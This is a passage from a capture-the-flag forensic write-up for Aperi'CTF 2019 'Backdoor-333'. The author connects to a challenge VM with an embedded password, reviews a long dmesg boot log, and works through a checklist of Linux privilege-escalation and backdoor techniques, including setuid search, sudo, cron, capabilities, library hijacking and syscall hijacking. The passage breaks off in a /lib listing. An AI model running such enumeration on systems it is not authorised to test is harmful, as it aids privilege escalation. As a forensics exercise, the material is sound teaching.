Backdoor-333

Aperi'CTF 2019 - Forensic (375 pts).

Aperi’CTF 2019 - Backdoor-333

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Backdoor-333 Forensic 375 2

We’re given a vmlinux file which is the uncompressed version of a kernel image in ELF format.

Task description:

Reynholm Industries has again been attacked on one of their servers.

The attacker has compromised both the system and a user’s credentials and seems to have added a backdoor allowing him to get root access from this user.

Find and analyze this backdoor!

A priori, we’re given the sources of the kernel that has been compromised, which should probably be useful for debugging and analyzing the backdoor.

Forensic

Since we’ve access to the compromised server, we can explore it to find a useful hint about the backdoor.

But first we need to run the virtual machine:

sshpass -p WRcPLQHRxoX6GWS7 ssh -p 31341 -o StrictHostKeyChecking=no chall@backdoor.aperictf.fr
./run

Output:

A share will be available: host:/tmp/tmp.Le24YTxRff -> guest:/mnt/share
Launching the vulnerable machine...

[    0.028212] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
______            _       _                  
| ___ \          | |     | |                 
| |_/ / __ _  ___| | ____| | ___   ___  _ __ 
| ___ \/ _` |/ __| |/ / _` |/ _ \ / _ \| '__|
| |_/ | (_| | (__|   | (_| | (_) | (_) | |   
\____/ \__,_|\___|_|\_\__,_|\___/ \___/|_|   
                                             
        ---  Reynholm Industries  ---

/ $

We’re informed that a shared folder is available in a temporary folder. It’s probably worth noting it down.

Logs

First, let’s get log files from the system:

ls /var/log

Output:

ls: /var/log: No such file or directory

Okay, there’s no log file for system services… Let’s see if we can read the kernel ring buffer to get more information about the system!

dmesg

Output:

[    0.000000] Linux version 4.17.0 (creased@workbench) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1)) #1 SMP Wed Jun 26 21:51:30 CEST 2019
[    0.000000] Command line: nokaslr root=/dev/ram rw console=ttyS0 oops=panic panic=1 qluiet
[    0.000000] x86/fpu: x87 FPU will use FXSAVE
[    0.000000] e820: BIOS-provided physical RAM map:
[    0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable
[    0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved
[    0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved
[    0.000000] BIOS-e820: [mem 0x0000000000100000-0x0000000007fdffff] usable
[    0.000000] BIOS-e820: [mem 0x0000000007fe0000-0x0000000007ffffff] reserved
[    0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved
[    0.000000] NX (Execute Disable) protection: active
[    0.000000] SMBIOS 2.8 present.
[    0.000000] DMI: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[    0.000000] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
[    0.000000] e820: remove [mem 0x000a0000-0x000fffff] usable
[    0.000000] e820: last_pfn = 0x7fe0 max_arch_pfn = 0x400000000
[    0.000000] MTRR default type: write-back
[    0.000000] MTRR fixed ranges enabled:
[    0.000000]   00000-9FFFF write-back
[    0.000000]   A0000-BFFFF uncachable
[    0.000000]   C0000-FFFFF write-protect
[    0.000000] MTRR variable ranges enabled:
[    0.000000]   0 base 0080000000 mask FF80000000 uncachable
[    0.000000]   1 disabled
[    0.000000]   2 disabled
[    0.000000]   3 disabled
[    0.000000]   4 disabled
[    0.000000]   5 disabled
[    0.000000]   6 disabled
[    0.000000]   7 disabled
[    0.000000] x86/PAT: Configuration [0-7]: WB  WC  UC- UC  WB  WP  UC- WT  
[    0.000000] found SMP MP-table at [mem 0x000f6a90-0x000f6a9f] mapped at [        (ptrval)]
[    0.000000] Scanning 1 areas for low memory corruption
[    0.000000] Base memory trampoline at [        (ptrval)] 99000 size 24576
[    0.000000] BRK [0x02917000, 0x02917fff] PGTABLE
[    0.000000] BRK [0x02918000, 0x02918fff] PGTABLE
[    0.000000] BRK [0x02919000, 0x02919fff] PGTABLE
[    0.000000] BRK [0x0291a000, 0x0291afff] PGTABLE
[    0.000000] RAMDISK: [mem 0x06c25000-0x07fdffff]
[    0.000000] ACPI: Early table checksum verification disabled
[    0.000000] ACPI: RSDP 0x00000000000F68C0 000014 (v00 BOCHS )
[    0.000000] ACPI: RSDT 0x0000000007FE18DC 000030 (v01 BOCHS  BXPCRSDT 00000001 BXPC 00000001)
[    0.000000] ACPI: FACP 0x0000000007FE17B8 000074 (v01 BOCHS  BXPCFACP 00000001 BXPC 00000001)
[    0.000000] ACPI: DSDT 0x0000000007FE0040 001778 (v01 BOCHS  BXPCDSDT 00000001 BXPC 00000001)
[    0.000000] ACPI: FACS 0x0000000007FE0000 000040
[    0.000000] ACPI: APIC 0x0000000007FE182C 000078 (v01 BOCHS  BXPCAPIC 00000001 BXPC 00000001)
[    0.000000] ACPI: HPET 0x0000000007FE18A4 000038 (v01 BOCHS  BXPCHPET 00000001 BXPC 00000001)
[    0.000000] ACPI: Local APIC address 0xfee00000
[    0.000000] No NUMA configuration found
[    0.000000] Faking a node at [mem 0x0000000000000000-0x0000000007fdffff]
[    0.000000] NODE_DATA(0) allocated [mem 0x06c21000-0x06c24fff]
[    0.000000] tsc: Unable to calibrate against PIT
[    0.000000] tsc: No reference (HPET/PMTIMER) available
[    0.000000] Zone ranges:
[    0.000000]   DMA      [mem 0x0000000000001000-0x0000000000ffffff]
[    0.000000]   DMA32    [mem 0x0000000001000000-0x0000000007fdffff]
[    0.000000]   Normal   empty
[    0.000000] Movable zone start for each node
[    0.000000] Early memory node ranges
[    0.000000]   node   0: [mem 0x0000000000001000-0x000000000009efff]
[    0.000000]   node   0: [mem 0x0000000000100000-0x0000000007fdffff]
[    0.000000] Initmem setup node 0 [mem 0x0000000000001000-0x0000000007fdffff]
[    0.000000] On node 0 totalpages: 32638
[    0.000000]   DMA zone: 64 pages used for memmap
[    0.000000]   DMA zone: 21 pages reserved
[    0.000000]   DMA zone: 3998 pages, LIFO batch:0
[    0.000000]   DMA32 zone: 448 pages used for memmap
[    0.000000]   DMA32 zone: 28640 pages, LIFO batch:7
[    0.000000] Reserved but unavailable: 98 pages
[    0.000000] ACPI: PM-Timer IO Port: 0x608
[    0.000000] ACPI: Local APIC address 0xfee00000
[    0.000000] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
[    0.000000] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
[    0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
[    0.000000] ACPI: IRQ0 used by override.
[    0.000000] ACPI: IRQ5 used by override.
[    0.000000] ACPI: IRQ9 used by override.
[    0.000000] ACPI: IRQ10 used by override.
[    0.000000] ACPI: IRQ11 used by override.
[    0.000000] Using ACPI (MADT) for SMP configuration information
[    0.000000] ACPI: HPET id: 0x8086a201 base: 0xfed00000
[    0.000000] smpboot: Allowing 1 CPUs, 0 hotplug CPUs
[    0.000000] PM: Registered nosave memory: [mem 0x00000000-0x00000fff]
[    0.000000] PM: Registered nosave memory: [mem 0x0009f000-0x0009ffff]
[    0.000000] PM: Registered nosave memory: [mem 0x000a0000-0x000effff]
[    0.000000] PM: Registered nosave memory: [mem 0x000f0000-0x000fffff]
[    0.000000] e820: [mem 0x08000000-0xfffbffff] available for PCI devices
[    0.000000] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns
[    0.000000] random: get_random_bytes called from start_kernel+0x8b/0x49f with crng_init=0
[    0.000000] setup_percpu: NR_CPUS:64 nr_cpumask_bits:64 nr_cpu_ids:1 nr_node_ids:1
[    0.000000] percpu: Embedded 43 pages/cpu @        (ptrval) s137304 r8192 d30632 u2097152
[    0.000000] pcpu-alloc: s137304 r8192 d30632 u2097152 alloc=1*2097152
[    0.000000] pcpu-alloc: [0] 0 
[    0.000000] Built 1 zonelists, mobility grouping on.  Total pages: 32105
[    0.000000] Policy zone: DMA32
[    0.000000] Kernel command line: nokaslr root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet
[    0.000000] Calgary: detecting Calgary via BIOS EBDA area
[    0.000000] Calgary: Unable to locate Rio Grande table in EBDA - bailing!
[    0.000000] Memory: 82232K/130552K available (12300K kernel code, 1309K rwdata, 3144K rodata, 1244K init, 608K bss, 48320K reserved, 0K cma-reserved)
[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	RCU event tracing is enabled.
[    0.000000] 	RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1.
[    0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1
[    0.000000] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16
[    0.000000] Console: colour VGA+ 80x25
[    0.000000] console [ttyS0] enabled
[    0.000000] ACPI: Core revision 20180313
[    0.000000] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
[    0.000000] hpet clockevent registered
[    0.004000] APIC: Switch to symmetric I/O mode setup
[    0.006000] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
[    0.012000] tsc: Fast TSC calibration using PIT
[    0.013000] tsc: Detected 2809.275 MHz processor
[    0.014605] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x287e7acc5cb, max_idle_ns: 440795321667 ns
[    0.014942] Calibrating delay loop (skipped), value calculated using timer frequency.. 5618.55 BogoMIPS (lpj=2809275)
[    0.015000] pid_max: default: 32768 minimum: 301
[    0.015055] Security Framework initialized
[    0.015193] SELinux:  Initializing.
[    0.015622] SELinux:  Starting in permissive mode
[    0.016218] Dentry cache hash table entries: 16384 (order: 5, 131072 bytes)
[    0.016405] Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
[    0.016562] Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
[    0.016602] Mountpoint-cache hash table entries: 512 (order: 0, 4096 bytes)
[    0.026737] mce: CPU supports 10 MCE banks
[    0.028129] Last level iTLB entries: 4KB 0, 2MB 0, 4MB 0
[    0.028144] Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0
[    0.028212] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
[    0.029033] Spectre V2 : Mitigation: Full generic retpoline
[    0.029064] Spectre V2 : Spectre v2 mitigation: Filling RSB on context switch
[    0.029105] Speculative Store Bypass: Vulnerable
[    0.256252] random: fast init done
[    0.371000] Freeing SMP alternatives memory: 40K
[    0.381000] APIC calibration not consistent with PM-Timer: 134ms instead of 100ms
[    0.381000] APIC delta adjusted to PM-Timer: 6249993 (8416541)
[    0.381000] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0x6, model: 0x6, stepping: 0x3)
[    0.384076] Performance Events: PMU not available due to virtualization, using software events only.
[    0.385627] Hierarchical SRCU implementation.
[    0.389344] Huh? What family is it: 0x6?!
[    0.390181] smp: Bringing up secondary CPUs ...
[    0.390254] smp: Brought up 1 node, 1 CPU
[    0.390309] smpboot: Max logical packages: 1
[    0.390422] smpboot: Total of 1 processors activated (5618.55 BogoMIPS)
[    0.401000] devtmpfs: initialized
[    0.410930] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns
[    0.411252] futex hash table entries: 256 (order: 2, 16384 bytes)
[    0.415608] RTC time:  6:44:22, date: 06/27/19
[    0.422249] kworker/u2:0 (16) used greatest stack depth: 14648 bytes left
[    0.426435] NET: Registered protocol family 16
[    0.429458] audit: initializing netlink subsys (disabled)
[    0.435276] audit: type=2000 audit(1561617861.430:1): state=initialized audit_enabled=0 res=1
[    0.438801] kworker/u2:1 (28) used greatest stack depth: 14136 bytes left
[    0.441573] cpuidle: using governor menu
[    0.444279] ACPI: bus type PCI registered
[    0.446000] PCI: Using configuration type 1 for base access
[    0.618399] HugeTLB registered 2.00 MiB page size, pre-allocated 0 pages
[    0.623341] ACPI: Added _OSI(Module Device)
[    0.623368] ACPI: Added _OSI(Processor Device)
[    0.623378] ACPI: Added _OSI(3.0 _SCP Extensions)
[    0.623387] ACPI: Added _OSI(Processor Aggregator Device)
[    0.623477] ACPI: Added _OSI(Linux-Dell-Video)
[    0.644294] ACPI: 1 ACPI AML tables successfully acquired and loaded
[    0.665851] ACPI: Interpreter enabled
[    0.666861] ACPI: (supports S0 S3 S4 S5)
[    0.666919] ACPI: Using IOAPIC for interrupt routing
[    0.667349] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug
[    0.669443] ACPI: Enabled 3 GPEs in block 00 to 0F
[    0.747000] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff])
[    0.747439] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI]
[    0.747679] acpi PNP0A03:00: _OSC failed (AE_NOT_FOUND); disabling ASPM
[    0.749520] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge.
[    0.753323] PCI host bridge to bus 0000:00
[    0.753464] pci_bus 0000:00: root bus resource [io  0x0000-0x0cf7 window]
[    0.753488] pci_bus 0000:00: root bus resource [io  0x0d00-0xffff window]
[    0.753516] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window]
[    0.753530] pci_bus 0000:00: root bus resource [mem 0x08000000-0xfebfffff window]
[    0.754083] pci_bus 0000:00: root bus resource [bus 00-ff]
[    0.755139] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000
[    0.759447] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100
[    0.761774] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180
[    0.764161] pci 0000:00:01.1: reg 0x20: [io  0xc060-0xc06f]
[    0.765368] pci 0000:00:01.1: legacy IDE quirk: reg 0x10: [io  0x01f0-0x01f7]
[    0.765400] pci 0000:00:01.1: legacy IDE quirk: reg 0x14: [io  0x03f6]
[    0.765435] pci 0000:00:01.1: legacy IDE quirk: reg 0x18: [io  0x0170-0x0177]
[    0.765460] pci 0000:00:01.1: legacy IDE quirk: reg 0x1c: [io  0x0376]
[    0.768000] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000
[    0.768479] pci 0000:00:01.3: quirk: [io  0x0600-0x063f] claimed by PIIX4 ACPI
[    0.768523] pci 0000:00:01.3: quirk: [io  0x0700-0x070f] claimed by PIIX4 SMB
[    0.769854] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000
[    0.770728] pci 0000:00:02.0: reg 0x10: [mem 0xfd000000-0xfdffffff pref]
[    0.772064] pci 0000:00:02.0: reg 0x18: [mem 0xfebf0000-0xfebf0fff]
[    0.773963] pci 0000:00:02.0: reg 0x30: [mem 0xfebe0000-0xfebeffff pref]
[    0.775399] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000
[    0.776583] pci 0000:00:03.0: reg 0x10: [mem 0xfebc0000-0xfebdffff]
[    0.777057] pci 0000:00:03.0: reg 0x14: [io  0xc000-0xc03f]
[    0.780091] pci 0000:00:03.0: reg 0x30: [mem 0xfeb80000-0xfebbffff pref]
[    0.782532] pci 0000:00:04.0: [1af4:1009] type 00 class 0x000200
[    0.783134] pci 0000:00:04.0: reg 0x10: [io  0xc040-0xc05f]
[    0.784060] pci 0000:00:04.0: reg 0x14: [mem 0xfebf1000-0xfebf1fff]
[    0.788551] pci 0000:00:04.0: reg 0x20: [mem 0xfe000000-0xfe003fff 64bit pref]
[    0.801878] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11)
[    0.802393] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11)
[    0.803000] ACPI: PCI Interrupt Link [LNKC] (IRQs 5 10 *11)
[    0.803628] ACPI: PCI Interrupt Link [LNKD] (IRQs 5 10 *11)
[    0.804000] ACPI: PCI Interrupt Link [LNKS] (IRQs *9)
[    0.810242] pci 0000:00:02.0: vgaarb: setting as boot VGA device
[    0.810339] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none
[    0.810395] pci 0000:00:02.0: vgaarb: bridge control possible
[    0.810483] vgaarb: loaded
[    0.813000] SCSI subsystem initialized
[    0.814000] libata version 3.00 loaded.
[    0.815000] ACPI: bus type USB registered
[    0.816188] usbcore: registered new interface driver usbfs
[    0.816620] usbcore: registered new interface driver hub
[    0.817125] usbcore: registered new device driver usb
[    0.818734] pps_core: LinuxPPS API ver. 1 registered
[    0.818747] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
[    0.822761] PTP clock support registered
[    0.824000] EDAC MC: Ver: 3.0.0
[    0.829758] Advanced Linux Sound Architecture Driver Initialized.
[    0.830183] PCI: Using ACPI for IRQ routing
[    0.830434] PCI: pci_cache_line_size set to 64 bytes
[    0.830858] e820: reserve RAM buffer [mem 0x0009fc00-0x0009ffff]
[    0.831117] e820: reserve RAM buffer [mem 0x07fe0000-0x07ffffff]
[    0.838585] NetLabel: Initializing
[    0.838603] NetLabel:  domain hash size = 128
[    0.838612] NetLabel:  protocols = UNLABELED CIPSOv4 CALIPSO
[    0.839511] NetLabel:  unlabeled traffic allowed by default
[    0.841383] HPET: 3 timers in total, 0 timers will be used for per-cpu timer
[    0.841607] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0
[    0.841701] hpet0: 3 comparators, 64-bit 100.000000 MHz counter
[    0.847755] clocksource: Switched to clocksource tsc-early
[    1.155842] VFS: Disk quotas dquot_6.6.0
[    1.156089] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    1.159537] pnp: PnP ACPI init
[    1.162833] pnp 00:00: Plug and Play ACPI device, IDs PNP0b00 (active)
[    1.163725] pnp 00:01: Plug and Play ACPI device, IDs PNP0303 (active)
[    1.164926] pnp 00:02: Plug and Play ACPI device, IDs PNP0f13 (active)
[    1.165226] pnp 00:03: [dma 2]
[    1.166619] pnp 00:03: Plug and Play ACPI device, IDs PNP0700 (active)
[    1.167644] pnp 00:04: Plug and Play ACPI device, IDs PNP0400 (active)
[    1.168770] pnp 00:05: Plug and Play ACPI device, IDs PNP0501 (active)
[    1.172548] pnp: PnP ACPI: found 6 devices
[    1.244292] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
[    1.245642] pci_bus 0000:00: resource 4 [io  0x0000-0x0cf7 window]
[    1.245665] pci_bus 0000:00: resource 5 [io  0x0d00-0xffff window]
[    1.245680] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window]
[    1.245694] pci_bus 0000:00: resource 7 [mem 0x08000000-0xfebfffff window]
[    1.247075] NET: Registered protocol family 2
[    1.253644] tcp_listen_portaddr_hash hash table entries: 256 (order: 0, 4096 bytes)
[    1.253906] TCP established hash table entries: 1024 (order: 1, 8192 bytes)
[    1.254166] TCP bind hash table entries: 1024 (order: 2, 16384 bytes)
[    1.254386] TCP: Hash tables configured (established 1024 bind 1024)
[    1.255848] UDP hash table entries: 256 (order: 1, 8192 bytes)
[    1.256239] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes)
[    1.257929] NET: Registered protocol family 1
[    1.260087] RPC: Registered named UNIX socket transport module.
[    1.260087] RPC: Registered udp transport module.
[    1.260087] RPC: Registered tcp transport module.
[    1.260087] RPC: Registered tcp NFSv4.1 backchannel transport module.
[    1.263029] pci 0000:00:00.0: Limiting direct PCI/PCI transfers
[    1.263104] pci 0000:00:01.0: PIIX3: Enabling Passive Release
[    1.263221] pci 0000:00:01.0: Activating ISA DMA hang workarounds
[    1.263605] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff]
[    1.264324] PCI: CLS 0 bytes, default 64
[    1.268739] Unpacking initramfs...
[    4.275137] Freeing initrd memory: 20204K
[    4.281967] Scanning for low memory corruption every 60 seconds
[    4.297970] Initialise system trusted keyrings
[    4.300084] workingset: timestamp_bits=56 max_order=15 bucket_order=0
[    4.388644] NFS: Registering the id_resolver key type
[    4.389217] Key type id_resolver registered
[    4.389247] Key type id_legacy registered
[    4.391121] 9p: Installing v9fs 9p2000 file system support
[    4.393340] SELinux:  Registering netfilter hooks
[    4.425721] Key type asymmetric registered
[    4.425721] Asymmetric key parser 'x509' registered
[    4.427237] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251)
[    4.427264] io scheduler noop registered
[    4.427264] io scheduler deadline registered
[    4.428926] io scheduler cfq registered (default)
[    4.428968] io scheduler mq-deadline registered
[    4.428980] io scheduler kyber registered
[    4.437688] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0
[    4.440113] ACPI: Power Button [PWRF]
[    4.965917] PCI Interrupt Link [LNKD] enabled at IRQ 11
[    4.971503] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    4.995822] 00:05: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A
[    5.010587] Non-volatile memory driver v1.3
[    5.012216] Linux agpgart interface v0.103
[    5.058424] loop: module loaded
[    5.063174] ata_piix 0000:00:01.1: version 2.13
[    5.110291] scsi host0: ata_piix
[    5.114490] scsi host1: ata_piix
[    5.115022] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc060 irq 14
[    5.115022] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc068 irq 15
[    5.121995] e100: Intel(R) PRO/100 Network Driver, 3.5.24-k2-NAPI
[    5.122009] e100: Copyright(c) 1999-2006 Intel Corporation
[    5.122664] e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI
[    5.122676] e1000: Copyright (c) 1999-2006 Intel Corporation.
[    5.277548] ata2.01: NODEV after polling detection
[    5.280646] tsc: Refined TSC clocksource calibration: 2809.406 MHz
[    5.280827] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x287ef61b61d, max_idle_ns: 440795235001 ns
[    5.280960] clocksource: Switched to clocksource tsc
[    5.282293] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100
[    5.287466] ata2.00: configured for MWDMA2
[    5.303318] scsi 1:0:0:0: CD-ROM            QEMU     QEMU DVD-ROM     2.5+ PQ: 0 ANSI: 5
[    5.334129] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray
[    5.334129] cdrom: Uniform CD-ROM driver Revision: 3.20
[    5.337909] sr 1:0:0:0: Attached scsi CD-ROM sr0
[    5.345475] sr 1:0:0:0: Attached scsi generic sg0 type 5
[    5.688950] PCI Interrupt Link [LNKC] enabled at IRQ 10
[    5.998156] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56
[    5.998342] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection
[    5.999820] e1000e: Intel(R) PRO/1000 Network Driver - 3.2.6-k
[    5.999831] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
[    6.000559] sky2: driver version 1.30
[    6.006015] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[    6.006062] ehci-pci: EHCI PCI platform driver
[    6.006314] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[    6.006723] ohci-pci: OHCI PCI platform driver
[    6.007346] uhci_hcd: USB Universal Host Controller Interface driver
[    6.008382] usbcore: registered new interface driver usblp
[    6.008695] usbcore: registered new interface driver usb-storage
[    6.010217] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12
[    6.015076] serio: i8042 KBD port at 0x60,0x64 irq 1
[    6.015076] serio: i8042 AUX port at 0x60,0x64 irq 12
[    6.023174] rtc_cmos 00:00: RTC can wake from S4
[    6.025886] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1
[    6.035990] rtc_cmos 00:00: registered as rtc0
[    6.037259] rtc_cmos 00:00: alarms up to one day, y3k, 114 bytes nvram, hpet irqs
[    6.082723] device-mapper: ioctl: 4.39.0-ioctl (2018-04-03) initialised: dm-devel@redhat.com
[    6.084102] hidraw: raw HID events driver (C) Jiri Kosina
[    6.091887] usbcore: registered new interface driver usbhid
[    6.091909] usbhid: USB HID core driver
[    6.116849] Initializing XFRM netlink socket
[    6.121149] NET: Registered protocol family 10
[    6.131032] Segment Routing with IPv6
[    6.135080] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver
[    6.140742] NET: Registered protocol family 17
[    6.142407] 9pnet: Installing 9P2000 support
[    6.149525] Key type dns_resolver registered
[    6.153663] sched_clock: Marking stable (6153345560, 0)->(6616416616, -463071056)
[    6.158408] registered taskstats version 1
[    6.158435] Loading compiled-in X.509 certificates
[    6.164694]   Magic number: 7:348:722
[    6.164888] block loop2: hash matches
[    6.165540] console [netcon0] enabled
[    6.165552] netconsole: network logging started
[    6.168255] cfg80211: Loading compiled-in X.509 certificates for regulatory database
[    6.244895] cfg80211: Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7'
[    6.246585] platform regulatory.0: Direct firmware load for regulatory.db failed with error -2
[    6.246759] cfg80211: failed to load regulatory.db
[    6.247915] ALSA device list:
[    6.247943]   No soundcards found.
[    6.318271] Freeing unused kernel memory: 1244K
[    6.323516] Write protecting the kernel read-only data: 18432k
[    6.327600] Freeing unused kernel memory: 2004K
[    6.348247] Freeing unused kernel memory: 952K
[    6.731341] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
[   74.188885] random: crng init done

According to the kernel logs, the machine is running on QEMU and is based on Linux version 4.17.0.

Reading the logs carefully, we don’t notice any suspicious information, the system boots up normally after initializing the different buses.

Buses

Let’s see if we notice something interesting about the connected devices.

lspci -k
lsscsi
lsusb

PCI:

SCSI:

  • [1:0:0:0] (5) QEMU QEMU DVD-ROM 2.5+: optical drive device

USB: nothing

Well, there’s nothing interesting here. Let’s analyze the system files!

System files

Since we’re looking for something that allows our user to get root privileges, we’re only focusing on known privilege escalation/backdoor techniques:

  1. Executable files with setuid/setgid bit
  2. sudo configuration
  3. cron job
  4. Executable files with special capabilities
  5. Dynamic-link library hijacking: hijack a shared library with a malicious one
  6. Syscall hijacking: overwrite a syscall table entry

1 - setuid/setgid

find / -perm -4000 -o -perm -2000

Result: no setuid/setgid bit has been found on the system.

2 - sudo configuration

sudo -l

Result: sudo is not installed on the system.

3 - cron job

crontab -l

Output:

crontab: must be suid to work properly

We can assume that the crond is not available to this user.

4 - capabilities

getcap -r /

Result: getcap is not installed on the system.

5 - ld hijacking

printenv

Output:

USER=user
SHLVL=2
HOME=/home/user
ENV=/home/user/.profile
TERM=linux
PATH=/bin:/usr/bin
PWD=/
TMOUT=300
ls -al /etc/

Output:

total 16
drwxr-xr-x    2 root     root             0 Jun 26 20:04 .
drwxr-xr-x   19 root     root             0 Jun 27 07:48 ..
-rw-r--r--    1 root     root            22 Jun 26 20:04 group
-rw-r--r--    1 root     root          2704 Jun 26 20:04 ld.so.cache
-rw-r--r--    1 root     root            70 Jun 26 20:04 passwd
-rw-r--r--    1 root     root          1634 Jun 26 20:04 rpc

There’s apparently no dynamic-link library hijacking.

6 - syscall hijacking

In order to identify potential syscall hijacking, we can first enumerate the kernel modules.

The kernel modules are supposed to be placed in the /lib/modules/ directory, but there’s no such dir on the system:

ls -al /lib/

Output:

total 22304
drwxr-xr-x    2 root     root             0 Jun 26 20:04 .
drwxr-xr-x   19 root     root             0 Jun 27 07:48 ..
-rwxr-xr-x    1 root     root       1389496 Jun 26 20:04 ld-2.27.so
lrwxrwxrwx    1 root     root            10 Jun 26 20:04 ld-linux-x86-64.so.2 -> ld-2.27.so
-rwxr-xr-x    1 root     root         96432 Jun 26 20:04 libSegFault.so
-rwxr-xr-x    1 root     root        137536 Jun 26 20:04 libanl-2.27.so
lrwxrwxrwx    1 root     root            11 Jun 26 20:04 libanl.so -> libanl.so.1
lrwxrwxrwx    1 root     root            14 Jun 26 20:04 libanl.so.1 -> libanl-2.27.so
-rwxr-xr-x    1 root     root      16729736 Jun 26 20:04 libc-2.27.so
-rw-r--r--    1 root     root           243 Jun 26 20:04 libc.so
lrwxrwxrwx    1 root     root            12 Jun 26 20:04 libc.so.6 -> libc-2.27.so
-rwxr-xr-x    1 root     root        284792 Jun 26 20:04 libcidn-2.27.so
lrwxrwxrwx    1 root     root            12 Jun 26 20:04 libcidn.so -> libcidn.so.1
lrwxrwxrwx    1 root     root            15 Jun 26 20:04 libcidn.so.1 -> libcidn-2.27.so
-rwxr-xr-x    1 root     root        222784 Jun 26 20:04 libdl-2.27.so
lrwxrwxrwx    1 root     root            10 Jun 26 20:04 libdl.so -> libdl.so.2
lrwxrwxrwx    1 root     root            13 Jun 26 20:04 libdl.so.2 -> libdl-2.27.so
-rw-r--r--    1 root     root        100712 Jun 26 20:04 libgcc_s.so.1
-rwxr-xr-x    1 root     root         13400 Jun 26 20:04 libpcprofile.so
-rwxr-xr-x    1 root     root       2376472 Jun 26 20:04 libpthread-2.27.so
-rw-r--r--    1 root     root           214 Jun 26 20:04 libpthread.so
lrwxrwxrwx    1 root     root            18 Jun 26 20:04 libpthread.so.0 -> libpthread-2.27.so
-rwxr-xr-x    1 root     root        470368 Jun 26 20:04 libresolv-2.27.so
lrwxrwxrwx    1 root     root            14 Jun 26 20:04 libresolv.so -> libresolv.so.2
